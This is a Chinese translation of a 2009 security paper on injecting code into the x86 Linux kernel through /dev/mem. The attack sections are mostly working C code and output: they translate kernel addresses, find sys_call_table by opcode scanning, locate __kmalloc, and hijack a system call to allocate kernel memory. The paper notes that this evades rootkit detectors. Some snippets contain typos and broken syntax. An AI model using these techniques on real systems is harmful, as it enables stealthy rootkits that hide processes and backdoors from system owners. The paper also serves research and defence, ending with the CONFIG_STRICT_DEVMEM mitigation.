Mem 注入恶意代码

Anthony Lineberry «anthony.lineberry@gmail.com»
2009 年 3 月 27 日

原文
http://www.dtors.org/papers/malicious-code-injection-via-dev-mem.pdf

摘要
在本文中，我们将要讨论使用字符设备/dev/mem 向 kernel 进行代码注入的方法。大多数针对 linux kernel 的 rootkit，依赖于内核模块（LKM）来将代码导入到内核中。我们将演示 Silvio Cesare 原创的使用/dev/kmem 来修改内核的方法，并将它应用到/dev/mem 上面。我们将讲到如何定位一些重要的内核数据结构，在内核中分配内存，在内核中滥用 一些重要的数据结构，以及实际的解决方法。我们的讨论将主要集中在 X86 架构上。

1 mem 设备
/dev/mem 是物理内存的驱动接口。mem 和 kmem 的最初目的是为了调试内核的。我们像正常的字符设备一样使用它们，例如使用 lseek()来定位一个地址偏移。kmem 设备类似，但是提供了在虚拟地址上下文上的一个 kernel 内存镜像。Xorg server 使用 mem 设备来访问 VESA 显存, 以类似于 BIOS 中断向量表(位于物理内存地址 0x00000000)的方式在 VM86 模式下操作视频模式。DOSEMU 也使用它来访问 BIOS IVT 来调用 BIOS 中断来完成各种任务（例如磁盘读、打印到终端等）

2 读写/dev/mem
对/dev/mem 设备进行读写操作需要使用物理内存。因为 linux kernel 中的地址都是虚拟地址，我们需要将虚拟地址转换为物理地址。由于 kernel 被每个进程映射到相同的地址, 通常情况下我们可以通过查询进程的页目录来完成这个工作，
，但是我们可以利用 linux kernel 加载到内核方式较快的完成这个任务。
传统上，内核会被加载到物理内存地址 0x00100000(1MB)处。内核所在的内存（ring 0）通常也会从虚拟地址 0xC000000(3GB)开始。内核自身被映射到 0xC0100000.

Tim Robinson 开发了使用全局描述符表(GDT)在实模式下以虚拟地址运行内核的技术，利用其背后的思想(译者注：Tim Robinson 的 bootloader 中采用的 trick，在实模式下，使用虚拟地址和 GDT 来解析物理地址)，我们可以将虚拟内核地址翻译到物理地址。GDT 是一个段映射表，包含了内存映射信息。它定义了基地址、大小和权限。X86 体系结构中的 CS 寄存器包含了一个 GDT 中的偏移，来确定哪个内存段被使用。GDT 表项中存放的基地址加上处理器要访问的地址，就得到了最终的地址。设置 GDT 表项中的基地址为一个高地址将会封装一个 32 位地址。如果内核映射到 地址 0xC0100000，一个基地址为 0x40000000 的表项(译者注：原文中为 0x80000000，不过译者认为是笔误)将会得到地址 0x00100000(译者注：0xC0100000+0x40000000=0x00100000)，kernel 被加载的物理地址。使用这个信息，我们可

以通过简单的相加就将虚拟地址翻译到物理地址。我们可以使用这个技巧来解决我们之前考虑的问题，使用简单的减法来得到物理地址(译者注：+0x40000000 相当于-0xC0000000)。例如，0xC0100000-0xC0000000。下面的代码描述了这个过程：

译者注：关于 Tim Robinson 的 GDT Trick 可以阅读下面的这些资料：
http://www.osdever.net/tutorials/pdf/memory1.pdf
http://wiki.osdev.org/Higher_Half_Kernel
http://wiki.osdev.org/Higher_Half_With_GDT

```
#define KERN_START 0xC0000000
int iskernaddr(unsigned long addr)
{
   /*is address valid?*/
   if(addr<KERN_START)
      return -1;
   else
      return 0 ;
}

/*read from kernel virtual address*/
int read_virt(unsigned long addr, void *buf, unsigned int len)
{
   if( iskernaddr(addr)<0 )
      return -1;

   addr = addr - KERN_START;

   lseek(mem_fd, addr, SEEK_SET);

   return read(mem_fd, buf, len);
}


/*write to kernel virtual address*/
int write_virt(unsigned long addr, void *buf, unsigned int len)
{
   if( iskernaddr(addr)<0 )
      return -1;

   addr = addr - KERN_START;

   lseek(mem_fd, addr, SEEK_SET);

   return write(mem_fd, buf, len);
```

}

在对/dev/mem 调用 open()之后，我们现在就可以使用这些函数来操作内核了。

3 操作内核

系统调用表是我们的主要目标，系统调用表是内存中的一个大数组，包含着一些系统调用函数的函数指针，每个 4 个字节长度。在过去，sys_call_table 符号为了被 LKM 使用，是一个被导出的符号。我们现在已经不能访问这个符号了，因此我们需要自己定位这个地址。

3.1 IDT

中断描述符表(IDT)是 X86 体系结构上用来确定一个中断或者异常相应处理函数的数组。IDT 的地址被存放在 IDTR 寄存器。这个寄存器保存着 4 字节的地址和 2 字节的限制。IDT 本身在内存中包含 256 个连续的表项。IDT 中的每个表项是一个 8 字节的数据结构，来保存中断或者是异常处理函数的地址，以及描述符的类型（看 IDT 的图示）。表项通过中断向量来进行索引。当中断发生的时，处理器就会查询地址存放在 IDTR 中的中断向量表，通过触发的中断的索引来查找中断处理函数，并调用中断处理函数。

IDTR 寄存器可以通过 lidt 汇编指令来进行设置。这个指令是一个特权指令，只能在当前特权级(CPL)为 0 时候可以执行。为了获得 IDTR 中保存的地址，我们可以使用 sidt 指令。这个指令不是特权指令，可以被任何人执行。下面的代码显示了如何获得 IDT 的地址：

```
struct idtr {
    uint16_t limit;
    unsigned long base;
} __attribute__((packed));

unsigned long idt_table;

__asm__("sidt %0": "=m"(idtr));
idt_table = idtr.base;
```

在大多数的虚拟机中将无法顺利的读取 IDTR。因为 lidt 指令是一个特权指令，将会产生一个异常，并被 VM 所捕获。这样可以使 VM 为每一个操作系统维持一个虚拟的 IDTR。因为 sidt 指令没有被处理，它将会返回一个伪造的 IDTR 地址，通常会大于 0xFFC00000。因为这个，我们需要求助于 kernel 的 system.map 文件。然而，如果我们可以访问 kernel 的 system.map 文件，我们可以跳过上面的所有工作，直接找到我们需要的符号的地址。不幸的是，这导致动态的 rootkit 少了很多。

3.2 查找 sys_call_table

Linux 内核使用 0x80 中断来处理系统调用。IDT 表项是表中的第 0x80 项，它存放着 system_call()的地址。这个函数是内核中每个系统调用的入口。在定位到 IDT 的地址之后，我们可以读取到 linux 系统调用中断在 IDT 中的表项内容。

```
struct idt_entry{
```

```
    uint16_t lo;
    uint16_t css;
    uint16_t flags;
    uint16_t hi;
} __attribute__((packed));

unsigned long syscall_handler;

/*get idt entry for linux syscall interrupt 0x80*/
read_virt(idtr.base+sizeof(struct idt_entry)*0x80,
    &idt,
    sizeof(struct idt_entry));

syscall_handler = (idt.hi<<16) | idt.lo;
```

使用定位到的 syscall_handler()的地址，我们可以将函数的代码读取到一个 buffer 中。系统调用约定要求将系统调用号放在 EAX 寄存器，参数放在 EBX,ECX 和 EDX 寄存器中。当开始执行系统调用处理函数的时候，EAX 中保存中系统调用号，可以被用来在 sys_call_table 中进行索引。如果我们直接看系统调用处理函数的反汇编代码的话，在我们的例子中我们可以看到在 0xC0103EBB 处有一个 call 指令:

```
anthony$gdb -q /usr/src/linux/vmlinux
(gdb)disassemble system_call
Dump of assembler code for function system_call:
0xc0103e80 «system_call+0»: push %eax
0xc0103e81 «system_call+1»: cld
0xc0103e82 «system_call+2»: push %fs
0xc0103e84 «system_call+4»: push %es
0xc0103e85 «system_call+5»: push %ds
0xc0103e86 «system_call+6»: push %eax
0xc0103e87 «system_call+7»: push %ebp
0xc0103e88 «system_call+8»: push %edi
0xc0103e89 «system_call+9»: push %esi
0xc0103e8a «system_call+10»: push %edx
0xc0103e8b «system_call+11»: push %ecx
0xc0103e8c «system_call+12»: push %ebx
0xc0103e8d «system_call+13»: mov $0x7b,%edx
0xc0103e92 «system_call+18»: mov %edx,%ds
0xc0103e94 «system_call+20»: mov %edx,%es
0xc0103e96 «system_call+22»: mov $0xd8,%edx
0xc0103e9b «system_call+27»: mov %edx,%fs
0xc0103e9d «system_call+29»: mov $0xffffe000,%ebp
0xc0103ea2 «system_call+34»: and %esp,%ebp
0xc0103ea4 «system_call+36»: testw $0x1d1,0x8(%ebp )
```

```
0xc0103eaa «system_call+42»: jne 0xc0103fc0 «syscall_trace_entry»
0xc0103eb0 «system_call+48»: cmp $0x14d,%eax
0xc0103eb5 «system_call+53»: jae 0xc0104018 «syscall_badsys»
0xc0103ebb «system_call+59»: call *0xc032c880(,%eax,4)
0xc0103ec2 «system_call+66»: mov %eax,0x18(%esp)
0xc0103ec6 «syscall_exit+0»: push %eax
0xc0103ec7 «syscall_exit+1»: push %edi
0xc0103ec8 «syscall_exit+2»: push %ecx
0xc0103ec9 «syscall_exit+3»: push %edx
```

这条指令的机器代码为 FF 14 85 ?? ?? ?? ??，最后的 4 个字节(??)就是系统调用表的地址。我们对这条指令的前 3 个字节比较感兴趣。因为这条调用指令的前三个字节在这个函数中是唯一的，我们可以通过在内存中搜索这个字节序列，来获得代表系统调用表地址的后 4 个字节。这是一个很简单的方法，对于我们来讲却十分有效。

```
char buf[100];
memset(buf, 0, buf_sz);
read_virt(syscall_handler, buf, buf_sz);

/*
Scan opcodes from system_call() to find the opcode for
calling the indexed pointer into sys_call_table
/xff/x14/x85/x??/x??/x??/x?? = call ptr 0x????????(eax,4)
*/
for(i=0,ptr=bubf; i<buf_sz; i++, ptr++) {
    if(*ptr==0xff &&
    *(ptr+1)==0x14 &&
    *(ptr+2)==0x85 &&
    )
    {
       /*skip first 3 bytes of opcode*/
       syscall_table = *((uint32_t *)(ptr+3));
       break;
    }
}
printf("sys_call_table 0x%08x/n", syscall_table);
```

运行这段代码，我们可以看到我们能够获得 sys_call_table 的正确地址。

```
#./memrkit
idtr.base 0xc0432000, limit 000007ff
system_call() 0xc0103e80
sys_call_table 0xc032c880
```

现在我们可以直接修改表中的相应表项，将其指向我们自己的函数，甚至是重写系统调用表处理函数中的地址，使用我们自己的表，而不改变原先的表。这样就可以避过现在很多检查系统调用表变化的 rootkit 检测方法。从这一点上来看，我们可以修改内核的任何地址，从而创造出更多的可能性。

4 分配内存

拥有了在内核中任意写的权力，现在我们则需要一个地方来存放代码。我们不能够覆盖内核的 部分，这样会导致内核不稳定。kmalloc 分配的内存池中的内存块可以被使用，但是我们无法自动的检查未使用的内存的头部，因此不能够保证等到我们使用的时候，它还是 free 的(还是可用的)。另外一种可能就是使用那些预留的用来填充 kmalloc 内存池的未使用的页(译者注：kmalloc 池中未分配的内存)。这需要我们能够在 ring 0 权限下动态的分配内存。我们也必须能够在用户空间做这件事情。

我们需要做的第一件事情是在内存中定位 kmalloc()的地址。我们可以使用为 LKM 使用的导出符号表。我们可以通过在内存中搜索字符串"0__kmalloc0"。在找到这个字符串的地址后，我们再次在内存中搜索引用这个地址的地方。在我们找到的内存位置，它的前面 4 个字节就是 kmalloc 函数的地址。下面是来完成这些的示例代码。

```
#define PAGE_SIZE 4096
unsigned long lookup_kmalloc(void)
{
    char buf[4096];
    char srch[20];
    unsigned long i = KERN_START, j;
    unsigned long kstrtab;
    char *sym="__kmalloc";

    srch[0] = '/0';
    memcpy(srch+1, sym, strlen(sym));
    srch[strlen(sym)+1] = '/0';

    /*Search the first 50megs of kernel space*/
    while(i<KERN_START + 1024*1024*50) {
       read_virt(i, buf, PAGE_SIZE);
       for(j=0; j<PAGE_SIZE; j++) {
          if(memcmp(buf+j, srch, strlen(sym)+2) == 0) {
             printf("kstrtab: %08x/n", i+j);
             kstrtab = i+j+1;
          }
       }
       /*overlap reads incase string crosses boundries*/
       i += (PAGE_SIZE-strlen(sym));
    }

    i = KERN_START;
```

```
    if(kstrtab) {
      while(i<KERN_START+1024*1024*50) {
        read_virt(i, buf, PAGE_SIZE);
        for(j=0; j<PAGE_SIZE; j++) {
          if( *(unsigned long *)(buf+j) == kstrtab) {
            printf("Possible location: %s@%08x/n",
            sym, *(unsigned long *)(buf+j-4) );
          }
        }
        i+=(PAGE_SIZE-8);
      }
    }

    return 0;
}
```

这种方法还可以定位其他的导出符号的地址。现在我们需要一个调用这个地址的方法。使用之前找到的系统调用表，我们可以使用 kmalloc 的地址覆盖一个现有的系统调用。这个函数需要两个参数，需要分配的缓存大小和 POOL 类型。通常，我们会以 GFP_KERNEL 类型来进行分配，它在 2.6 内核中的值是 0xD0。我们将系统调用号放在 EAX 寄存器中，分配大小放在 EBX 中，GFP_KERNEL 放在 ECX 中，然后调用系统调用。在分配需要的内存之后，分配的的缓存的地址会被返回到 EAX 寄存器中。当这个工作完成之后，把之前覆盖的系统调用表中相应的系统调用处理函数恢复到原先的地址。我们我们需要承担在进行该操作过程中有人调用我们覆盖的系统调用的风险。选择一个不经常使用的系统调用(例如 sys_uname 或者是其他类似的) 来将这种情况的风险降到最小。

```
#define SYS_UNAME 122
unsigned long kmalloc_addr, sys_uname;
kmalloc_addr = find_kmalloc(KERN_START+0x100000, 1024*1024*20);

if(kmalloc_addr) {
    read_virt(syscall_table+SYS_UNAME*sizeof(long),
    &sys_uname, sizeof(unsigned long));

    write_virt(syscall_table+SYS_UNAME*sizeof(long),
    &kmalloc_addr, sizeof(unsigned long));

    __asm__("movl $122, %%eax      /n"
    "movl $0x4096, %%ebx      /n"
    "movl $0xd0, %%ecx      /n"
    "int $0x80          /n"
    "movl %%eax, %0"
    :"=r"(kernel_buf) );
```

```
    write_virt(syscall_table+SYS_UNAME*sizeof(long),
    &sys_uname, sizeof(unsigned long));

    printf("Kernel Space allocation: %p/n", kernel_buf);
}
```

我们现在有一个可靠的地方在内核中存放代码，而不用担心内核会使用这个地方。可以将原始机器代码拷贝到这里，作为内核的一个函数来完成其他的任务。这个工作留给读者来完成。

直到最近，内核主线中依然没有没有保护措施。尽管 SELinux 已经限制 1M 以上物理内存很多年了。使用 RHEL 和其他类似的发行版是安全的。最近内核主线才加入了对/dev/mem 的读写限制。该限制会检查访问的地址是否在内存的前 256 页(1M)。这些检查杂函数 range_is_allowed()和 devmem_is_allowed()函数中。

Listing 1: /usr/src/linux/drivers/char/mem.c

```
#ifdef CONFIG_STRICT_DEVMEM
static inline int range_is_allowed(unsigned long pfn, unsigned long size)
{
    u64 from = ((u64)pfn) << PAGE_SHIFT;
    u64 to = from + size;
    u64 cursor = from;

    while (cursor < to) {
        if (!devmem_is_allowed(pfn)) {
            printk(KERN_INFO
        "Program %s tried to access /dev/mem between %Lx-»%Lx./n",
                current->comm, from, to);
            return 0;
        }
        cursor += PAGE_SIZE;
        pfn++;
    }
    return 1;
}
#else
static inline int range_is_allowed(unsigned long pfn, unsigned long size)
{
    return 1;
}
#endif
```

Listing 2: /usr/src/linux/arch/x86/mm/init_32.c

```
int devmem_is_allowed(unsigned long pagenr)
```

```
{
    if (pagenr <= 256)
        return 1;
    if (!page_is_ram(pagenr))
        return 1;
    return 0;
}
```

正如你所看到的，唯一的问题就在于 range_is_allowed() 包含在预处理宏 #ifdef CONFIG_STRICT_DEVMEM 中。如果没有被配置，range_is_allowed()将总是返回成功。
在配置内核的时候，这个配置选项默认为 N，即便是在内核的帮助文档中建议在不确定的时候选择 Y。

Listing 3: /usr/src/linux/arch/x86/Kconfig.debug

```
config STRICT_DEVMEM
    bool "Filter access to /dev/mem"
    help
      If this option is left off, you allow userspace access to all
      of memory, including kernel and userspace memory. Accidental
      access to this is obviously disastrous, but specific access can
      be used by people debugging the kernel.

      If this option is switched on, the /dev/mem file only allows
      userspace access to PCI space and the BIOS code and data regions.
      This is sufficient for dosemu and X and all common users of
      /dev/mem.

      If in doubt, say Y.
```

在将来应该将其默认改为 Y，系统管理员在配置内核的时候，应该确定启用了这个选项。

5 结论

我们介绍了一种读写 kernel 内存的方法，以及将代码存入 kernel 的方法，这些全部在用户空间完成。这个设备非常的强大，其中充满无数的可能性。拥有 root 权限的攻击者可以使用它来完成很多标准 rootkit 的行为，例如隐藏进程，隐藏远程后门，截获系统调用，等等。通过这种方法向内核中注入代码简洁明了。相比 LKM 的方式，在插入 rootkit 的时候，也产生较少的噪声。